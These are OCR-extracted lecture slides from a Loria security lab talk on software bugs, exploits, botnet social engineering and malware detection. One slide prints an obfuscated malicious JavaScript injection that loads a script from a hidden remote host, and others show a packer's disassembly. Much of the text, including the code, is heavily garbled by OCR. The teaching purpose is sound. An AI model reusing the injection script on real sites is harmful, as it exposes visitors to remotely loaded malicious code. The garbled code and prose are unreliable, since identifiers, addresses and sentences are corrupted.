°..;::.;:\L0rl Q

Loboro’rowe lorrain de recherche
« en informatique et ses applications

Des petits bugs aux virus
Quelgues travaux et etudes au Laboratoire de Haute Sécurité du Loria

Jean-Yves Marion

UNIVERSITE
DE LORRAINE




<

Web appiications

S—
— [T - “UR-le e
ey B | e N e e . {6

Data User

13 'Qa‘/PHP

User browser

Iy e R L NN
' TR 1AL \

——— -

http protocole

Server

Many boundaries and possible attacks

Jean-Yves Marion

Untrusted applications



The ingredients of an attack ....
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Vulnerabllities

Exploit

ZDI-14-030 CVE: CVE-2014-0297 Published: 2014-03-20

Microsoft Internet Explorer CTraversalMarkupPointer Use-After-Free Remote Code Execution Vulnerability

ZDI-14-029 CVE: CVE-2013-0946 Published: 2014-02-13

EMC AlphaStor Library Manager Ox4f Command Remote Code Execution Vulnerability

ZD1-14-028 CVE: CVE-2014-0281 Published: 2014-02-13

Microsoft Internet Explorer CTreeNode Use-After-Free Remote Code Execution Vulnerability

ZDI-14-027 CVE: CVE-2014-0289 Published: 2014-02-13

Microsoft Internet Explorer CMarkupPointer Use-After-Free Remote Code Execution Vulnerability

ZDI1-14-026 CVE: CVE-2014-0275 Published: 2014-02-13

Microsoft Internet Explorer CAreaElement Use-After-Free Remote Code Execution Vulnerability

ZDI1-14-025 CVE: CVE-2014-0274 Published: 2014-02-13

Microsoft Internet Explorer COomRange Use-After-Free Remote Code Execution Vulnerability

A bug may be exploited in order
to take control of a system

— A bug-free system is a good security
— Need of a trusted formalization

— See CompCert project

— See formalization in COQ of PHP
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Buffer/Stack overflow

- Shellcode

nop nop nop nop

nop nop nop nop

nop nop r?:;‘t‘l:.
Return Address Guess

nop nop nop nop

LR -
1
NOP-Sled
nop nop I"]:;:l;‘

SQL/Code injection

<script>function GuclogyuYuvicoqik (PukikejQujxigene) { var Capupladugute = document.cookie.
indexOf (';', PukikejQujxigene); if (Capupladugute == -1) Capupladugute = document.cookie.le
ngth; return unescape(document.cookie.substring(PukikejQujxigene, CapupJadugute)); } functio
n XerulcRotgoqor (name) { var arg = name + '='; var alen = arg.length; var clen = document.c
ookie.length; var i = @; while (1 < clen) { var j = 1 + alen; if (document.cookie.substring(
i, j) == arg) return GuclogyuYuvicoqik (j); i1 = document.cookie.indexOf(' ', i) + 1; if (i =
= @) break; } return null; } function VohojubegGoxfokizo (name, value) { var argv = Vohojube
gGoxfokizo.arguments; var argc = VohojubegGoxfokizo.arguments.length; var expires = (argc >
2) 7 argv[2] : null; var path = Cargc > 3) ? argv[3] : null; var domain = Cargc > 4) ? argv[
4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + '=' + escape
(value) + ((expires == null) 7 "' : ('; expires=' + expires.toGMTString())) + ((path == null
)72 ' s (" path=" + path)) + ((domain == null) ? '' : ('; domain=" + domain)) + ((secure =
= true) 7 '; secure' : '"'); } if (XerulcRotgogor('o') == null) { var YicdTomefup = 'LDRHDCMX
IiSEANWGKSXTWLGYOJtFWGIHPZALaCOQVKYMMSGLUHPWPITABOLEINDGREUST-DSLXHXIaGIZPHFGAUMToBUPbZWTeGF
ZQTAHRI-JLOJQOMVPfEPUKWCVX1QIXRBYOKFaRYTNPOSWOWhVIIYTZ.YFBYTCSIECKOWXEQYm' .replace(/[A-Z]/g,
''); var TozamopubRojux = document.createElement('script'); TozamopubRojux.src = "http://' +
YicdTomefup + '/counter/?page=' + escape(document.referrer) + '&rnd=' + Math.random() + '&f
romsrv=1"'; document.getElementsByTagName( head')[@].appendChild(TozamopubRojux); var Pahewi
cXesafemim = new Date (); PahewicXesafemim.setTime(PahewicXesafemim.getTime() + (8*3600*100
©)); VohojubegGoxfokizo('o','l',PahewicXesafemim, '/'); }</script></body>



Social engineering

You can’t patch stupidity

Welcome to Video

Share your personal videos.
Upload and tag videos of you and your friends on

@ Flash Player upgrade required i
Facebook. Upload a new video

You must download and install the latest version of the Adobe Flash

Dlavar +n viawns H - e $
Player to view this content.

Record and send video messages.

Use your webcam to record yourself in a video message.

Record a video message

Publish videos from your mobile.
Send mobile videos via email or MMS to your personal

upload address.

LATEST VIDEO

o
PAINE VENY FEALTEN TLEMARSD ThAr na weur CF CLODAL MO MASELT MY
EIMTIAL SAMK 1% ABLE TO DEREMCACE oD r "IET ) ADAIE IIT

We are fully invested Europe opens higher 2014 will be a 'stellar’
in stocks: Jabre s on China & year for IPOs: Pro =
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2009-02-17
- Still using the Valentines theme,
but is now using several pictures

2008-01-09 in rotation.
- Email spam changed tack to New Year 2009-03-16
- Still the same eCard website - Changed to "Bombing" theme
2009-02-23 - Websites leveraged GeolP for
- Changed to "Coupons” theme, more targeted and localized social
taking advantage of the current engineering
2008-12-26 financial crisis
- Waledac first seen 2009-01-26
- eCard theme, In time for - Websites using Valentines
the Christmas season theme
|
I I |

2009-01-18

- Changed social engineering tack to
‘Obama refused to be a president” 2009-02-28

- Websites added GeolP component.

- 2008-02-10 - Still using the Coupons theme,
- Still using the Valer?t_lnes theme, hut the websites now know from 2008-04-15
but now has the additional text: what city you connected from. Engages users to spy on somebody

“Just in case you haven't noticed yet... else's SMS messages.

SI'M ASKING YOU TO BELIEVE

FIND AN EVENT
HIEAR YOU

ISsuUEs HEDIA ACTION PEOPLE STATIS mLoG

& OBAMAELOG

» Barack Obama has refused to be a president
sl Sansagy 16 T6:02:56 FAT

vatien Biat was plannsd on Bh January 2009 bs under ihe thisat of
Failmie. Eve aniuration Doy President-elect Barack Obama made staiement. He
declated that be bs definitely BOT ready fer this pasitien. Anakpets say that Banack Obama has
wudusad b be naxt presidont bacause he rocognized inc o leba plan

USA econmm ¥- COMTINUE BEATHNG

= Prasident-Elact Obama on the Ssnate Vote to Release 2md Half of the Financial
Rescue Plan

ot Sy I5 [0:58: 40 FAF

Sos.Shatian RSk | Shilatien Shode B0 | Dasaickiiesl Save) | Sndadiecs | Sacieiiuls | Temuallins | 250 | datisg e
Yo EDE | Sctisey Sistemer | Lisk by suc bits | Risgiles Vol | & .
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Figure 2. Christmas ecard website

Bothet Waledac
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Watering hole attack

Remote Attackers

(location unconfirmed)

Attackers compromise and/or inject
malicious code into multiple servers
in the U.S., Korea, and Austria.
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Remote Administration Tool
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The defenses ....
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Samples and Signatures

High Security lab

e Today
= 20 000 downloaded binaries
=125 000 malicious attacks

e Network traces
= 8 Go of PCAP data

= 110 Go of netFlow

¢ Malware repository

¢ 6 millions of malware

¢ Telescope and Honeypots

Attacks ~|




Anti-Malware

e Detection by syntactic signature
= Pro : Efficient and easy to implement
= Cons : Signhatures are quasi-manually constructed
= Cons : Vulnerable to malware protections

¢ Integrity checks

= Pro : Too many updates in a modern system

¢ Behavior analysis

lcmpSendEcho GetDriveType FindFirstFile FindNextFile

= Pro : Could detect new attacks 4@‘

etLogicalDriveStrings

»

= (Cons : Difficult to implement

FindNextFile

« what is a bad behavior ?

« Require to monitor the system
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Undecidable !

False Positive

alware

False negative ‘
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CREEPING MENACE

The problem ...
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Anti Anti-Malware

- »
Prrerasen sacuniranins) oy

SURREPTITIOUS
TWARE
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1.0Obfuscation

2.Cryptography

3.Self-modification

4.Anti-analysis tricks

olio1100
orionitl
oltio010
01101001
01100001
olio1100

iizloria

1110010011 Laboratoire lomrain de recherche
roo0010110 en informatique et ses applications

T Te=psarg 0], ohx
moy ehx, [ecereds]

L1
edi

sub 4a6618

T =
BOBESFEY xar eax, vax
BBUASF56 pop ebp

BRASFEY retn L

BELASF7A Subl_BOSFTA proc near
BRLASFTA MmOy esi, duord_u433060
BALASFEN mou pdx, [ediersi]
BRLASFEA xar esi, esi

BBLASFES maw dward_HEE100, eox

BBLASFEE xar eox, ECK
BBLASFBD push  dword h32F14
call sub 4OS5F3F I
BOLGSFOF pap  edi
BBASFRD pop ebx

BBLESFAT retn

1
[T
DOuaE B
Bae0 118
POuRGE1E sub_BESME proc near
BOIBG 1B
DOUEEATE arg_1h- dwerd ptr  1Sh
gt y
::ﬁ:::}g arg_20= dword ptr 24h DONESFIF Moy [esp+arg_0], ebx
BOMBGIME ; FUHCTION [ AT BR4ESTR E 9000048 DYTES WRAESFNT moy b, [eckeedx]
BELBABIE ; FUHLT 0N T OBELEFETY aaRnNREE BYTES DALASTHS push  edx
D496 01E PONESENT push  edi
BOLBAI1E moy dyard_33100, eax
DOLES 2D Moy eax, dword 433080 call sub _4@581B
::’;22252 P " [ecareax] DOUESF54 xor eax, eak
BRNDEIZY add ebx, eai BBUESF56 pop eop
BOLEEAZE mou [eensedi], eb BBUESFST retn W
BOLDGO2E lea ecx, [ecxvl]
BOLEEZT moy pax, dunrd k33070
DRLREOIE Cmp esi, [edireax]
DG 39 1 log_LBSFAZ
1
¥ L |
H N N L.
BELAGEEF Lea vex, dword_433155% BOHBSFAZ 5 START OF FUNCTIDH CHUHK FOR swub_bohie

BONOGPNE lea edi,
BRLAGHAE Moy [es
BN AGHAT moy esl,
PRLAGESD dec

[edi+d]
-1
[esp-1Bh=arg_2i{]

(5
Benass iz loc WEFRTE

Ghearg_14], esi
BANEEFAZ mow

£ax, dword 433100

short sub_4%85F3F |

¥ ¥
ELTN
whx, rui BRGEFATZ ; START OF FUHLCTION CHUHE FOR sub_L8661F
eax, [ecx+TCh] BBLAFNTZ
vex, [ercxe78h] UBYEFRTE loc BOFRTE: ; LpHoduleHane
- PBLAFET2 push duord pbr [ecx-@BE&h]
I BOYBFRTE call ds:GetHoduleHandlel
I] mp SUh—hBSFEE RRLEFBTE may EEM, £4K
BRLAFHED moy eax, [ecx+3ICh]
PBLAFEE2 add Eax, TCX

BLESF2E Sull_GESFZE proc near

[
BBUASFZE push dword_B3IZFuC
BARESF 3L push ]

call

sub LB5F7A]

TEIETTIN

BRLAFRES Moy
BBGEFREE lea
PRLEFES push &
BRGEFRYE push

eds, [eax+BOh]
ehx, loc_&0108

duord_32F el

PBLEFEPY call Sl _LEBFO2E

BRLAFRYE pop ebx

DBLEFEF pap wdi

DRUBFHAD Moy esp, ebp

BBLEF&AZ pop whp

PBLAFEAT Fethn

DONEFRAZ ; ENMD UF FUMCTION CHURE FUR sub 4B601H

Win32.Swizzor’s packer

Rational approach to help Felix the cat!

Malware analysis is very hard

Goal :

Jean-Yves Marion




Obfuscation

mis-alignment

01006e7a fe 04 Ob inc byte |[ebxtecx]
01006e7d eb ff jmp +1~—
01006e7e ft c9 dec ecx
01006e80 7f e6 jg 01006e68
01006e82 8b cl mov eax, ecX
because of jmp +1
IDA fails
01006ETA inc byte ptr |ebxtecx|
01006E7D . — — REALARSLAn A
01006E7TD ; -| BB [0X0 -> 0x2] (0Ox3) BB [0x4 -> 0x5] (0x2)
01006ETF 0x0 inc byte [ebx+ecx] 0x4 dec ecx
01006 E80 ;
01006 E81 \\\\\s ;)}/)' \\\\\s
01006 E82 a
01006 E83 BB [0x3 -> 0x4] (0x2) BB [0x6 -> 0x7] (0x2)

0x3 jmp 0x4 0x6 jg Oxffffffee

'

BB [0x8 -> 0x9] (0x2)
0x8 mov eax, ecx

e Jean-Yves Marion



A common protection scheme for malware

Decrypt Decrypt

payload

BALAGAZF Lea Fex, dword_ 433154
BB AGDNS 1ea edi, [edi+d]
BALAGHSE mou [esp-18h+arg 14], esi
ODADGONC noy  e5i, [esp-1dheard 2] Spastets srath: dwrd o 1o
ABBGHST |2 loc LAFhSE BRLREDIE ; FUNCTION CHUHK AT BBLUASFAZ TIZE Q000D BYT
AOLAARIE - FUHCTION CHUHE AT BELEFRTFP SIZE GOO00B32 BYI
BaLasSO1E
BALAFET? - START OF FUHETIODH CHUME FOR =ub LAsE1E| |oones818 mov dword B33100, eax
BBLAFET2 BRLAGEZD mou pax, dword_433 080
BB AF RFP loc _hBAF&FZ: ; lpHoduleHane BRGEGHES moy eax, [ecx+reax]
BBLAF&ETZ push duord ptr [ecx-BE&h] BBLAGBZE inc Esi
BRNAFATE call ds:GetHoduleHand lew BBLBGOZY add ebx, eax
BALEFETE mau BEX ., BAK AELAGAZE mow [rox+rdx], ebx
BRLAFRED mou pan, [ecx+3Ch]
BBLEFEE2E add Fax, TCM
ARLAF ERS M adw . TeavwrROR1

A run is a sequence of waves

Self-modifying prog

|
|
L
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The best definition
of a malware ?

And a fascinating
challenge ...

TEVEN Mc(]UEEN ANETA CORSEALT - - AL O
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FROM AN IDE B BONE B MLLGATE 2% A TONTLYN PREOUCTION - COLLR: B (% LU
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